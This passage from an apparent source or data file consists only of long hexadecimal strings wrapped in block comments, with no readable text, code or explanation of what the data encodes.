0cf28bfa90b6ee6735ff4243388700f227a2699cb2e8dc454c1cf081dbf550267e1c49d0cc6920f2523395f05a6a18a402183deca3ebae88f5b80b7ef21c2b268109652a0f2b1f24e8f45314cc93555118e3b8ea18562a103bbf70e96fc7977f61ce7405d2ba51b68e51ecf56fc6d14e6505aaf5a4340ca4265affeb07429960e346704f5a374fd3cdb2f2118d22eb25e3107eb7826fcdfd47e4c0e00fe55ef7dbc6f707d75bcc7001aec9b257db21e975dbc0c7da0e9fb664481af6118cca1b22dc2c367962b74066ee8eed3817f16d074e072788c23674c77a0ee09632f8f4cc89087848b9474aae8df734bd991fbde67d8d21f2765a3d6bbfaf99b1857023297cec3770e35ecf6b65c3265304e5b7b872fcbf6c98ca22b33bf086bb54dd1be862e968466d18b0e1fe888802b976213147c69bcf33959ac93b081179eec620ccfe52ce16128f2a4e525d2fd8214a5d5addf0c2de8dfe8bb1361c529b1afbec96253b12aee5110419f1513d21488ea96982b808c523c33fbcf0921f925d9cedf87987f6a1e2c7345623782afea0cc9ad6cf08c7ea34c7e9ae7e4696996cf35d1b6dcc6aa934e836585ad0bd97e4df6315f1a63f95ef07021d8365347c55290b6dacb6152ac8e36ccfd691429271261dcf87c9a09aeaaff164839707586d4e408fa2882951452bbb0926d201cb504646ee53de500718583fd535d51b4ce607509a2b09d5e54d47a27bc296c4344a333e5e03c9f45804d27c5273a65e3b554f6e25c5d05a9ca4b28755c7f086d38f9d71531daa9dd5e6be66c5274e0affd0bfb49b295dce03854726a9a7bfa31fa88cbfcd9217786b2fb326160e2d3ab967c55b0b04bd5d4a3cbd9b5c5742d17d0b77d6ba9d7c97f29d65dc9162dbc1484c2b69824331a15c9f56f0e2bfc5c708234a8ac6d525607a308957ba6c36dbbfcf37b863001a99884df1a364616e35fc247ef063219f3c4ae301600dbe7f5cfe2bb53db990da7bda35f4274dc774c15bb6ca7e1bccc27c2da77122334b28d054b861913980e19d660d365886e09da08e1165e5ebed9f0fe74d40270bd68312d4499c8b9cf0211398fae5a0b29b4781f0979118d2e3030abc02638be4fc618da5ed6629a89da672f8436bcdf5a6617be159914b8c9ccec6e464f14b64091a80c384e291689bd510d2da1c47bd15e0a96d9a94d02dd89ba2b21baf939038a5b1821fbcb1410f615519048df355a3b6adf98c07a0e77d967de5251b0d44e2dc8756e1236d590dbf743cfb7f7a94f0a6b546a271d5cbd39ca697698685fd41c800e820ff7e79d4da8ef2b18e3ebf282fabcc*/
/*3e6fcbd49bd351923757d40df47056014878c83a7f8dcd401e4ea4e678c76778fc7ce0837265f616356b44838e8a79c879a9d8c7d2d5e1465d0a43b4126810bf7e8b232e38e9b05b9841be2e2587f661fabeb3ad850f02a7d7052192704b5792fcf00c5f9484f9e90f4c4877ed72d9014e4b2f52c1a6d7a41d3ddae08d6e7b989496493919cdfe6413093006b9c4a8e6595b71856a742855f9bdca9e5fef695bc0dd0d9158efcc5014e8962244a5fe17741dc468dbc1017d6ecb92a3c62d325a0c1479544847dcaa71348000cc2a68aebe050b30e2dd67c8b5a00d746f2acb4463aa2cdca04f5f6cfc70970de12dce528efda996db2bb7c0f3180674d38ae3ab02f0e637679a00177f33cfe3fb41778b4b3c09dd3dd47fc255154f47c64dd36ad63440842d4525dabcaff9196998bbc7d1e707c6dba7370d2bc788130f23a1dd04c3c9444ba0dbf088e270872b4e41fff35f98e10a8c72c56ac6299474c47bde0646eddbf05cd78e929d7d28e94f432ed678c652a8abea6f1f8979ef70543e22061530b06325d3f7e65dc695edf0f3266274b3a42ea3d06b13f635b1aaa00b6f99b5176e4c4bd25cde56ceda635086fd0300e164445178f1079fd68caebe7c739a200df53f150fd3b67df45ea74130d8776c7060b4b5c338e025d3087de2732dc2d6e5164309c40fb11b0f31865ead1c45fdf6ec4165089b5861eabc47dbbea471838d0968769d42e33100198ff66caf51fa102400814ab21717167a4c106f93868cd057443ce89aad72ec43b519bfb6140239001c6ec173cd806f5f12eaf6bf316f2e6eea9738cd1d643bd702d60f154ed44b96b03041e9e68c2897ef30b96fe6940e77c6d0e49b3786710dfb620625a834595050f417abd68bb2b19bc7ca9bf12d9dccc0401dff59210154358eec3294972fd92603b814cf21fd8d2e78a0233fe6b49a0edf36e3cf1392035740d3df60ad0c22d16c4fb57f3904bd84af5e8b24f9f30b1432a40245c5b228e4dc20579e05fefa7330faaa2802c797c0e1f97bb921c86bb5e87599c1572ece9fd2311cc515fc91ed7fb765030ec5b56d6067a434f71b70f4b28491dd312de92866ca02543aeb93425c0f3b68164d08b62d3ca21ec62acc34f4fe383c3b75cb7e5edd8067aa2919c83286ae194cea8dfacac1ef48ee514a437f74f8869b6dfb16491db03b75d9d8136495802a4a79cdc263530728420a52c6556ed29a03e08858668142918c3f4f59fe3b64c43943d8ec568f246989d71ef62b6eb2e75a04d7a913ea11cf0a185d1a1b370fdd933ea70723b7adcbbe641e5863e11a1d80129014fae39ce444e90c2e3c4e602a9c059eebdf0cebf4c5f0a7401f7c37948036884b9dd26a9c629eef298a6fe9950efee08c87fdf0aa5889192b10f3c8c08e8f9f6a6fb14a214016f5af3671bf2991c5903afd8ba1955ea11355dcf120574eb55946239a9a41fdbbba0cb6e8b0a569b986f38cfda531735788f69884cb24955c9295a683301db9b869193a4811b3a9c6e16f1ce2a944bb214df94734a971cf3645a5d11572162955af2c1aa40a1fb636019a1d7023e3db4c330fdbef23e0f31686a4c447e1a2567191fdeaeb7c7d9d99fd064583d011d67b3ca94a75b38852cf9b58f270578bc77ccfca9c658ed662844d8ecdb92f346aa972253cfd4b6e19ab0df650c5a939b296bbd15a55495226e1a597e9623482c04b871bfa4b046a17a72214a07774276e7bc998236a20ce24eea3cbac21764a1797d4a330e02f452bfc8c918e1cdf76d1d1f14db8da7ec6ac51d56358dc947e2d801f83b87b84e360632d43f5b9fdaf711de1ad6e813c66e9f84bdfdfa3d35f21edc7155004e6886c3497f95466cee3909ae0ed52dda0dafed277b36bd4d292f18a73b4bac23f34522f207457ce9c8165e5f1213ade3d91dfd13250950c2cbb0a2b4620572d113e5c33125f09853f1279d77b9ea3e7a2a7d29c5606a7bfc3dc2a0055f7fb7358b2b1aa03af22f517a126f5c445e823f8f80db6e68cd6cc0385ff047f4848b67de7b0e751c03c8e1dd4f4ce745244fec1428ba7c2706977b369abed42731988d691ca0e3d8ab08aa33c1f5e2b7aa24ad656e1aebfb9f2d019a3b9bda0a07445cdd1d654321fdfb233e3ba1dc3500e50120d817e2d6114f751a948ed318e2e6586e6c0de1b53d2aa8eb7a7ad614c8d88b73a4eeeea66d64452c4c4fe84e8865c7bccdd0761a70229aa499f351c467eb5a008c3d3bc1c37a086e104cb8ff061326b5414c7df1d7d3acb07676dcec2bd9bb06777e17effcefad0f6beb5173d13694fecb7df84351b5e4710c80ab69adfd748bdb181082694e676519671ee77f2946aa3c82403e9e83984950dd8b3a056ea2f6f33883f1173cc1ea236bea59af1ef2c601cadb114780c80208c213f8b827c9c3c49bc9cfd7eba87713559bac3bfab2afee1d95bd914bc715bfc388683410e631355ee4918352cef2794d28e0ea31c471d4c43ccf9121c8994ab628573d4372ae3076d94da38b1e29af78f22aabbe77d68dec5cb63921ab8351fb15f9882cf08f6d034589811819050e48a7b9142d0b96466250a4c8a70445de32cdbd399e3428fbe5922fcab0a3abed8235afc52bcb8b7a6b7ee4b2966242927d270de0253b4f7fb33b883120f238c2a00800f49c3a32fe3da7ef3d96336132fb2f0876570442948a71bca34f6695a5eba441f696c9d7ca03726799d6b2a1061fd52a664a62252ac1dc3aba99239320c3a17e8372fad275aa9aa65510e9701227698a083cf182292adbf0704ad53b09aa971b5fcb9d9bfea02e6430a45e3*/
/*e62ac160117da1b043b91702adf4a8504e04d4eb17e45f4eae7c26d99812af5feb275bb1928811c31de19086133966356f52f9d366830c4a2110a76029cfda5be84c9fbb3d720d42a42adc1259272e2dc0167f2cb10cf37a757096e1aca0edd1dde46fbfb424ce3ef99efa7fc9273bc0cf37935eef0c7968b21a5a96da05d7107eae2590bcd802e1923a0e986b6d6f0a313c21defffbbe9df9268ffce2735b8d259a5b38d3ad98a2fd92fd2ce0a4a5a163037aac81594072544c0506380a166539dc1baeafcf7542734dc8155dc27c0ac3cab981ae8e957002f3ea9cacefde97c25835673ecb60c6295f51b87b8b0c7637b40187cedf16e1e42b785025e6b6e601a31feaee1a1377d58bcc530f75acbc43b6c839490a31be723ac225f0c0c3246702d5102779e16286eb54a6e4839722aaddd5bdd25f1917af064ce61454c9b7f2a18517608a5fa83acf1af939df8fbd1c82c04c2b820a11e9a1ebe2a292a9f7e73343bc7e9543b8f68c208ba2f8f28fa658213a667cb0207caefd78122a43752662067fb3fecab736e38f74307139bcd903d73f53042a54c300ec5717689226a205a2684a16d5064a94d1ae7fbc996d75239072fa404715a983b5a3ef7308d31f301b09d33ebab54287291c1cab8fd79892b6255f02b72a59bb8fe1f7738d54ee57c1dcc911f60bb8294f1b7fd95a875d3e20cbf6050684541e48d2f2c455361667c360d9e8e59d73a04a2af4bb00c31fda4f30a242eaa267c9d32522747db12f19ef9274053760b86aa667763ce671052d42d0cc209ada012bf933c6d905c1405895abf9f9366543b7d030c69536d70b2ae6e4c0fdd6e4528b77d01c33c3573e2eb0a505db0083c5dab8f4dcda5740c31011be9ab856f4e19f94bc86c5dfde7df9400a5ed0192c9bf415745a87ffe614a67f8ccb724ffcccc36dc2e13dc1d8e4178a9b2c7f8efa501e680ff265592da81eee1657734379856680cdc344e8353f561d6e1d6704db9b989c3a114c410fa0659e4388f0c0afdeabc8f533525509b935aba4fba4d0e8530e591f041d14864a818768c5d69a2cee8abf73e0426570f2221f2314c88485fd056aa67038804e5dbc07e6bbc081e4724072f4aaf8298d7e5d441286c7206f3a00bf94f03d4f466a21e798a34b2d178ff75f16bae10ad9b570d36befc76ac6b2ae9c6feab0f71f8ab23e8c45b00d3a0e7f698a28cf80580a87e03f1221ddeb0c585088f2a873124dfdafa9bab8c25e5557b3f1ba3a4d4a01770dc7012a0bd307079e965bf760749b9bff911fe57a5b97d23a7d1c7dd9c6af355d15bfc5676b3cb205a475d7dbfe861cf9b3ebd2d57249bc3b2e19a043c191dc56346019d76d75446deaa85f1d47449696dfcadd6ab4da62477746a6d31514cc531e296199ca5525fb1574e283d9e9bf554a4c96aea4432877a43c1da1d1e55e3e097132f03bba332eaeed82fa505cec12b8721c996aecc158b635481f68b3ddb67c37d7f1dc46148acb174891c0c39ebb373e3ea02b749012028cfd385507d9f9d8a900156ad394e819d504bcca980a547bfeef00de20e965a44a7e6b3596946490494b5da31ba8b5d00ad4e1bcc1faf8cb8a190d5a9173126c0a105ed3047995b463977505a36744c3ac54ddb41e1636c1092d44f5318b8c42e621f7b15218df1474e4e9354c1d65ee98b7123fd523a89239d8cea9c1d92185a65eed6caee58602aaacf1c90f538a5818e5c7de03e9f29e7d7a117b608af57ba3ce1027db5352de0738348f61a57c69a32857f0c30cc0af56a4be3104e72774a2d7ee2921569eedefcdf793bc38e11c982e03b57e3f672c46e33dd01f7be76cc2cbaae0f0fadddb5d02e284ac239b4c16a3cc12c8811ef3058904113e6d393a5162cbac4762af316456338f2fd041867e9fb5c21b3773f01df4827e4a33523d3e85eb9cbffce11da013c6bd89ce7d34a92026846a3378c70a37475d6ce79a7c4870d16e8e15b67bbb6e2f8dacacf9d767bd56288663c8f94402cfdf176b11a8b43e25faf232710dca371fcaee35e021d6ec210c26e4ddd0314bb3bcfebb22cea1bc55c2df57d984178da9061f5ddeac31aeee45a5532c583826590db63d6816cfab188e289084c49f205f8f2877a92e6cc12c0df25f77e8e845036d8ed69c0ec11302b7dfafb979b942f06d183628a806164a461fadbde083d029d4fd87dd9e96fc274e1c7ec45cb744132e9ede6745253e71d277447d6bc7f13f0f3ec864dd8bf60e7262fc2b74e20b908a9d983af4336c5b6671ed82595dfbf2fbc3bb16009f8b873109572300b6f41191195f1c8757a0112b0980ff6f1cf37288f2fee7c8d45615b040b1e3dc0f7cf57ed6047cedf1be43bca85a4f5ce66e63c14b081105b554aef665497cb6caa94c37a07a5a5125ae227d635f8e104766bb37d347ef538a537786496ec947557e25ca8532cc114ebccb6bfe9ee37ed198fed381722ca6b89ff28ab972e85a088697dd4a5b733100dc623ebf1ca056047c79ce9392e84212ab1cb8bef7a11d82a520e2f68708cbddab36de2abb080b9f1fd8de543e25e8e3db46afa10567733c975f488660a0a160968fdb17f9da50258ab8b76a021bec7536ec663b127f59e722278004816b95acff708c42aef0ac1b6df3a8db525a5758f8f3cd64d37311b7f45f6d224478840cec0b5bf33e7abad31993955fb7f2fbcd6aedde9fc2ba877ce99b607b22b229eedefce2d0139356d7a5a6fa5d40b04316c57a8880631e630ba256b8057fe59cd285a3d1b0df4a0e3b41c45fd4c90c00e33cd13a642b10d4a01428237e2ae265c00ee0ce*/
/*c9519a602df7a100906e9cd73ed7988d50895a4df37f4744bc9301720e566349fef767f1c2ff9fa65ce1b9ddde91d2af377a8cbf00528c7f7e96636a4c0809ebe8540feadddfee265ba4e0406d888e51ca5a992270fb3aa31742cc1cd54520d99302a9cfdc0d20d19522386821366d7bf6a6a9a6697767eea675af6541bba8f38a7a9ccb66bbbe3b507b355bdce70e858d89cd7ae1d6418dd29a46e90ff32044266169867e942630f5ae4b713c017cd9927e3e66b08f73cf056f649d97ffbae22dd695c251e7a8d25f37e7a17432390e9922f38b5a81d43ac7842563c1b8a05049d106969e3e69e70772a25dfa4db1933e696ff17a540de24f1fbf64da9f65fdffcc0a37d1abaadb658386b9cd7b734dd53715af8fd4039179af9feac6a7289890e8edb1c397476c41d15c8468d99223473d08b798c8334448d8a59a8ec5c930202da0f42656448014017d7103ab18f88299d14529a7c1190ab5a89f62272c92f77d19cd863b42ca54448070934779d9430aab9b1587a55dd3e33b08c330505d4863a27ba03471868d44cc6450a96d6cad1aa2c8927e750b08840619cd27c3c1fbb6f85ca78511144685b8804df07a4f6beab520968876c921dfc3d48b4af199a775e5544a40b061c623512ffde26bed06b863156acc0e7c160530e8b453fbae57df16855827fc3378575f6fecd5f0f284262a3ca857dd5251e916304ad5dc42e2e1fae030948ced3d35e4453d4a2928b7ac79d8279b94dfa123235b3e8df51c814fbe45440dd9a6e9d61fccfce17eecbad33ddd7f0d5ec90d003d8ce6d8e7d46a0e9d87c8a2f8085e57978dd04c67cd5eaf14e96cd882f75a2c181860ae18edd244089508754fd1a280f38d776b6732069e0a12e30f6fc44b6bebe6ed481b4c8a062775f600a3cd7afe28db73dd31583d6e09d390b7aac36151b762b0fe3a56a4e4bd63d90e1b9fb964c2bf06ab4c7ec8235a613f215ba35c774e93bb35532bd44595b07427e560d532a800ad00f8b4849aa7519a5a4f5fb6be57d3ef0892049091b21d16fdad2017c298a7cab2f03cd63b6f103741ad1b1fc0093d96800c998368005f8514cc2a25ccc618d0dddab6acdf3299f08007e153fc2f9e0487e8540554abd43fba5c6dfa7ef0717ab2a5696396f4e1f01daa5832c6ddbf171fdfd368324272d919274154136e737618aa62c7c9d161bb2e0b5d9a49c1081eaf73d63a01b822bf00c27900cb518bfda9ae238aa476720ae8e8e03c343edf315c88fe521f1ae49160e496a8c63afe94b6856bf0c1e670019df0dfb1b24373905c410e6efe8580ab78de42cedf4e2f2cf5119f33699ef38196cf893fe2ef765847934c650ea4cacd471befd3ca1233c46ccb5489a45cd138ec16c7dd2c6e6f886765f59db209b883949c7cc04b4a48bbc55d45414ec77b764c29b1339222e387c34f08396836f721402c6d8dd4007e5c0c415067fab43eac63d902cb4bfb27bcca2c701b6512d7afb6d48f86dc8277f74a5f8882c5f34b1b0ac838691e95242aa377a28d49dc9c758b7cf3d0b1cf9beed7f0e97d4c24ae86ac4921c6532e5f51aa7fe97c1b333398d655fa930018fa1eb70889a27fbc5b1f401174dcace4823870f0243c0c49bc77f00f90cbe868b53563c236cfce76e5fc0a69e61e7ec4d805177bb66a66579ac681d9feb81215fb53f730319fb362ed0c34d6ea0658c25cff67711f7381b709f44bfbc1fd851b0d3344631d36a0c04c7902a549c5159f8c9c2bc485b47e7b490a35c72ed969096411ef0a1744fb66c436fc2b84ac57ecc4d89582a20eb0d72c40e15e3eac5a930aefd42abf33ebb4f8fed2dc2bc95baaa51181096ac8f30aaf29c65ae366b057cfb73c4bef2743dc1b7fa51e5943890f27a751139e58956e3bb3bb91c97f725b05b127d9f09b1c78f60ecce151ea5d1f73f7be1cb106cc39f9dc1c8f1f1e069a59cda8ecca8d38be57b9c7620f0f376597d5dbb7d803da117ee1a14acb02d7c8135368e322d5e4281d573f59e742fa3f639ac8c5ed9e1f36799fd3b60ef67e259f00c22260c986617c3ca7e8ee56ddbd7cddf6ca3ffd973f3ded099d95a2bdfaf6a9c393c4b98280bc854b98acf939f32076a4d73ef6a35e21db2a8e00c537bb65d78588d6781caf19c4fe03bcecf1b87fdc7a023cdee1674f996863959bad29d41ddd489173667b08ff0b6907ca4098fdf67730e8eb0c967d51d3c382bfa10c2b8e7d94a1efa58081bd65e625daa5fe66f189530f89241891b1b7335a27d50b7da62ce698dca6ffd062299f33edeb5bbadc1643b0362030ec242758917ede76f0b3eb38f4bd8e81bee0c2f74b33c79804294d582a86976ed6a3ef155b10eca5c9d8df6c9c01c080dd14eb51772be3013d05981e7afa2b138fb416a0a72ca5eb2eba188d5751ee496c7279eb83ff1dffb2f076674f48a0ae9d08e012dd8697b2ec14380c7b0e5cc994e5ab6d3555055df7d2005988844908d50b12a026f04fb91ce3d47ab73a86512a89d85346d455835b54f85233c797402ca26aad77e4a88f8ab327548a6569ddb0db8e5e7312d74c337543c9129efbf493bb001841d84a63c1bd6733bcb4abc82c2ca4c240ffc3e4d1abeedbc5273458fba1e648b99b7d5f96d014a774d2311178d7a7ec414255cc8c40f37e29bbcc07af95b996acb0b1f53861e289356b6179807c6287e1623794be0c71ddcdcb8c67a18abcff10955ad9a7e9a8b0b99101c89975a81cd4f35e24690b7b7141bdce533d3850853a0a18d05aa0902c966bb9e6751fc4d9d166432d656794d9e2bac813e3b10db65db1d8159631e2fc69*/
/*64beb0f139696b44a56f8acd87fe44c27c239c2c6b3cfe0ea3160b6e34e60c4ab92271b7cbbf453a86b40b4ae3591831f1fcb26b3c8086cae6ddd0676308831a2ddfe9846dd3e6b369627754d6eaee2cbf7dc1145acd190bba57a4db57045c3ab01224ffab0e36f08d73eeedd2ace392a06d48ffb4c66632a4071fedf1c9339c57f135cba4aaef2767c0122603671d601ee8ffd8d4afb827e81d8fe752b48b7545d497e7dffcfa2e443d00451e0cefd89d6014719287e8ad64db186a1d0e0238e38057499cbf99196e29ece35fab8f805c9f3e3df9b049e785ccf8d99514888cc5ccf19e4d6bdc7a8ab8a87e924d799b1b2e330711cfe51a5e9347407993038185bb25a048310b9b9de6cfe1ef69c7b7feff80b74cf2e34514ee6499994c7c12b4a70baf53f1dbb3f5e83f203ad1e6b13a91501cf39a251c1b8019a5529249b2baa4afeb048b3d330bc08ef2731e025e50f413e30c065784384f5f44fb1083c5fbb9e9b7e09705dbdf07c410ffc410803c8d8b31c1acb51182a54a3b071b4da988e4875383c220bc8a3b9574f0afe3060ff698bcc63510e00671648a0919d4e3e72a433c9417790e04c0a3fa7eadee54e8d20a0019b7e982ed7898d246ba9bdaae044f96a23d082493795d5088d24747d1eef7c2837c5fe55a86e9de17390b99ddece2503e6cc558f7dc66d66b7706271a233865156cfdb052ef6a778b7e35a64369ef00e2158f01869db6cea215e76f3f8bd839f38571a04f2f972563b42b6dabd954c5e21c9ec4ac9231dc2f8e1796d37196d3015da214c3175005c3946522e6583bc496acdd2d4044e9d9cc52ff17b72ebc242b5fa2e9fdf5977e1bc0ae1182fae6359b48c88e497bc1b2ceb8c790d0739111b7214cd9bfac2ba84011c08885cfe538bf356972fcacf1d732a23a51c201f96b7ed977a18738cb1fcc9d7e6520555004526c788fe8ac01d9dd1e4f7747efeb90db4fb0e579a614c8fbf8a07fe15847cf6372e698d5a1ae93aee7b96e5ba499a265d09634e0a444e45e582b6571d588b8717c315670370c4e2e94ca7ed6fbc8aaf4cc320f23de46e67ba1553a342b1011a26a267d1ddd310bfb9391e39603e1b98a6e8f05d39537522320034e410e0e32e60cf515add659f525d3515b968665823a1552ff8380adbd304b2183d1adead256a3a48c2196c93367b6624c9f30e899efea1576055c9bda8c371ab9dc22215df148e6ec1b1ade40468a96ab58f70b0fe7f5039c8c4ae0b273c04d04e277b38e23b70bbf8cde5354ea038b6dff902683c4290ee080132ea4865c2a186a3936fdff11de7150285ba33cf895b3aa59f19c7490f0e51adae0ce5c7de2b2f36fdab7382df1c8caefde1d10a2a2018c490f2e0db2df8b513f9764c389538ecef7405e84dd386f5c04d7329798dceb7ac309f6931ce7f894c25c5424f20a5b6858a3c2e6ba7201cc270f1db140ed0c836e56ed12b6b62d63666bf260dfcb9649714c013516a79f2fa6a584d6e72e655ba7560f24086134ac0a797dbd7d798922b1fb923e3930aa4d2a19e8516ee25a05c8113dd51a9d2f31892bc174604f34713b4388d8d1e2814ae7cfc92fda73f6f0dbc6dae9ee5c6b603bed14866308156c44c6cfddef2a059404a66e5226900f28f8e4e655c020094256c3cd7912264c3c40a8082d1b1d3722c8631df2fbb4c2ba76269e226477c6fc4f8c5f1c510a453a9a18b9e996198f6536d34fa1ddc7cf4ad1c110e65936389a391c301a9bcafe1a2e31c3fe019a959d83424133185e071cb818cb0b8a000bd3249b6d2c01b1d454015d9f88b847801bff4873826bb9b531300d0884a0003d98723d90cf16ca1ce139782143b8433d0752242f6c13bee26c53415c3b0c832f3a9bfb676727a3957175c17c41921dec0805c00ba0815608256621953a27c98dddd339f3c7a9062639e99f3e56ffa9331335a6a1ccac1419ecdcf2fc0b86dac9f4e1deeb98c550ec3164a91b20f572a38b6b4400b9a498c61cb510508a43693772e3a563cab5a12685e685184a5d5e84cf23fadf4f5a8dc7d4f78fad7dfb2bee3f44ed5365b84a32de91e0642bcfb744768deb55b603e12f1e9f28487cdb357602e353591af04a87fd3310bf57077a1052adc64e52863712618e20701b9aedd2035471ee7290bb24e9adbffe461d8fab0a0624b4e4d943686c94a5b1c2e48e0f7867c8ae26081d4984a85fc1860f72910e07fa5962a86e4f915e7dd257507df9e2a2a0169533af74beb3ba7d8a618328d9e086708a48852d2ad4c4071ca322188dc6499019e2404c294d16eeb9be915c7159a353f234b0cbf1ad7da1a6116538b37708ab4d68f55182f3b667ef37dd7cab7b477fa9d0994bbb273ab57ac93e1791a983f4b3052b29d316a84db79f8502b2822d315a0f041973b213939c8852c0864cba594a16189e056544aab67a993906797666ea7bed342f1292ce499c24eeef4b77183fc0fb2c9c3a1367d3a7a29105fb338280f9b8f0d31d9ee2d44b9e3cc9da122aed4364eb320f90d78cacae8766d96a3ead7c69c604bc7cbf1de9041f0362d238a4ca8a7b58f30d79501e98f02baf04fd0675bbb0faaabada044baadcd530e442a74d626f2cfcca918de0297a29da5737b35cebc3cb93cef2bba7d76dda3b6252d2c68c3e580d1e88362c166098ec1e2053853608b586f7c962512a6ef0f9e444ea4c1b93b481be90e8d9c09ddd714619603a6b4861b0fbcc0797845ea3d0f9344580436a5743386dc903094dc4291233da472dc596ff4921ed0f34196d3c348d574e5da5c558fb0f13262b6ab466e81b9d3acd30*/
/*3ced022d1199d071a7a9f0c44dcab9df2f46e4ac6af48ff31a75f5242267dc89d232d3c2464726a00b68117124a7a03c371266425289e7b924f231e46dec0ee0a56f00cbad6d01b76fc80ec243d80f5a3c16b20c20d7bb874bb7a51ccd374dbcfdac79ceb40636dd14c29da73d56454b7058add300454b59d215a510e21bb39287c298bb78a523c40bc585aa8beadaf3a5981c77776860f72c4a6000e0138a73b6d3a4bc7d79cff7aadfcc110b2a327ef26bb0752514ab674ebe42901d9dda9d64171388ed471621866292fb7f5573967034996ef91708287bad6f86ffa4c74e8049de64e7c7d5714261650de7e83be2d49d0213ae37a1248743a16803e8e398da4ed858af93be6d06138985c556af06a3c3417c3105a33752f99e15c3d8115ec287354daf34f34633b47f9ca59e416c5a2cfab8c769bad7c8c7be5cdb2da48eb7bfc02d5072852727797124f94d72a089bdf23fed8b82b1ad5287c847a46a8a81547902d4283e5ac43df2fc419c495ecdd1733f6c65b294c285efd9a14b72561e52b64ff68ddcf4a65faeb4a9db64275b235847f854a9e3dd6f1618a40290be0ca432217f1f3eca915cf11f49ba4c394ae572deb52d2f533c0a68259ead5e51f9114818ffbf5ae305c40aea8c53a759a393c0a77148cc062ec393dc325e861a5bfb466633f71b208e7c4d840b7f8ec843246b860782d55d99ab71652009a55085e3dddefbf49f445b8cf93fb9b7de9f8e3bf760e6c395a76c5c6e800c3375d16ee54ad13f47742f7a2d51f12da86b11906aca0e5417344a3e890572e711db798c0163ce6e010902026070cd35b26228ef5969b39c1442300da9a67aa69bbc7f58d879fe3fe11f01ac7a015356febd7db78c88d4d43e1f1a5ca0597ebb0abeb189825c1618fed5c042f1cf6b3899ee1881a27d920231f7c84b4724591509b25b8fcbad7227c453dd4511d04169e5141d657a1edfb9ca99d2ce7b38e4c6f6b651d1cca9d6f0bcb8cd14541beac55347324788396355949945d303ce5d82a63995fc7c6373254e1d6b7c0a8e0b2332f6cb3f457cf265a782ca54e29634f2dc84acd934d13c2f9d54c48a07154a555a5849d14f5282c29230632bfd9b3e987d14cdf3a509eee3369e48253ad5374ed0a837b82ec25898974aa35e6c29cb4cdcf80e2c8631a8c32c332c4fc23a323c8e6e50580364ef2d5b1e60361660156445588d43ed7bd42fe88dc0e16077d6a46a9716994bd095fdd45aeac86e9a69eb9b441c5a745137cdce5394ad57b486b167eaaaa7ec1bfeaedd79425b97de32454d5ed7a7eeb77d11f462feeb481f52f5ecd73bf1ddfc4315ad528ea095990fd14e0b0567927385531d49aef320470af6f2fba293858288751d27376a696e447a5da30f8814b39abef410655b22fbeb8687de8cbce4e68d55e0d829f0a52a650cef1751c7719a09fabd3abfff85aa52e18e57b85d0aaa639c78d3714bc071ed307ad4c0c9973c9e544b1945ea63b6c20513e92a8234a450c3fad1ecedb1cba74dbe710dc391e866c53a8a6f4da6749b04783e083fb1af58fcf080b0725ddbc0dbd11cbab8047d2a7f7dd6bb346e9fe7636c64ea7e3a8eec33f361b69ded3fdf34c42ce951fe92f023688472b5c86a80db07e4c2b82dfe85398c74fdddfa67530bb4fd028f1586ac5837aeadbf312f1c9569205f658ec85f29d9e1de485faf4b8718e7c5283f30624523c69b9aacbb79b1ed7e3f46bbf35ed3a51d2be7266f78ebc2bd08534cb38ad7f791456c4a149c0eb15e0b050e50346aadd0ae874c768cbabd2bc6d9196a248b30c6556a4927a1cff5253837f47dcaf3aa2aca1ffc04fa240b85dc3260e7c536fb95377dd115356f1a4d8dd42ec93bde50d4d3705da5c3fd985bc1d3e71b971336d367308d2e498c75bb10ee896c537a0ecccbc960c078a8d8f9920766a4d14405a2b5ef40c0ed7df0252d4f7b4d86cf53a23b4ce67230e31cde406b59c8e2d61956f4adb1cf993165a6994bda2d99338396ab94624565af6bba2ac07f9298df0a486a595e25d0e63ffe3ddd1a7216e1bdd57c4ba3cc8ddb14ce98ef36e0ab64e4f3c0fe15ecc3027f428626c8f3bb7014ee2d9bb01975e282063951033d94966ec926931e54cc276b8b3dcd9f50698c77b962fe5de3dfbcf6e31906f171bdbdf2464fcd135b35252c8bc4d7d8b194ba9a54f2467d7bafb2220a48efd5a24df4353294db193ad50e9b481e188385b92fbdd2656c20b34b1998dc416eabfa95696fbb3c83b05deb54ff922d66f19e28ca8cd5dac69ed6206582c71c9909bb5758711148926206ca90016af3ebba09409d639aef4f07b005611eda45260eb5532c42ae8b111e5791a709eeb6c17d6d98f53372ea4419c3d361cf6bd9a364e46d1134a96e47574541e06463d16a647bd356aeb7d6b264cf9ab1d645f9bd8d60b526816d92656518a3495b6d2580051704e1830b4db4a5697641d7c92de5d4b8eecfd50b595e6e67bf93fdcce141b9bb178e96d83a1f374e751ec0120b0a5c53b67e24cf2e0a216d9af3869accdbda834b4ce4362662748d6ff1a7b8f9e02c1fca8e2a6062f97a9d261fe08cea4f9363bf7bb77d5b06158bb23c5f1534ce7144990febe218222ea5fe562be1351f7129d976fec860f1d3286c79e47f6a7e3331a637479179aa8d85209f7f97a8f69b7aaf07ccd214b6b8748b20b935ca4110de993339ea6afd0a98c78701e18b2a0da27a4b67865652a84d847733cb700829f551fdd4495e1d874de629b35512580f08f70aaba9c5bcf198a62c6152b6ede5dbf670f0e5857002e8bfd7ed5995*/
/*f58fb25bd68e0fcf71be953fa656fa4e94a5ae28a1dc21d43e18a8504a145f47b25f6c9711db3fa0112ff390219ed15b8ac8cc35b7d9673ff04b10ef70ae49c53636de4775df24345646c955279fc2e718a1a8b4d88eacb336181f417fa28bc402d0585fa86e0bbf49436270ed6dbc226b6dece1df412b1b125292bdc76766c53ada48e0e7e45076e3929fb2565ce5eb165736b36fa82fc0e08819cd3472c3ec74cac04ae7d1e31d36a81497df24fc39e72e96364df4ea48229701f84889ef7e76db91f8561932f40c7ccfda4adc31724d7903681d69fa87feda6c5b74c6ecebdd0d9a3174a892c8d406ee574533c4a7c0803897402e2b971a4643ea4c3a66d4eb4e0dd3b2af879aad8af1892f001c6a74e006cadef0c99653bbffa6b1461be074e7cefe08a6ce8f6a4e2ef92574ea2a908d130f2d71283c43ea0964e6ed4bb419ba02b3aa97031406c7afe038c2a56b526c3594a39baef194712d65418a7bc352ca7661d80e5223c35ddb79af9a4d2ecc0696295c840242eb9dcc79e7091ccdd634372d6ec3cc5e6963691c691fdd9dcd265cf7dc020b7b924df3f216fb514d3f7c0c49f487fd3838aad371cb2779b3fb5f5e478e5597646cfa339a595db6f59cace1e18e456124c858504650cec01cfbab760a395203d98940b889cd5647626374f574031c9c75abff48574ebc4468fe38378cc9360ac00f92c94f71263e411663e405e8d5212235fab6e0d15f8c8605176381af930069a106fc08c01904102289819fd699e5b37efc66ecedd52de7c10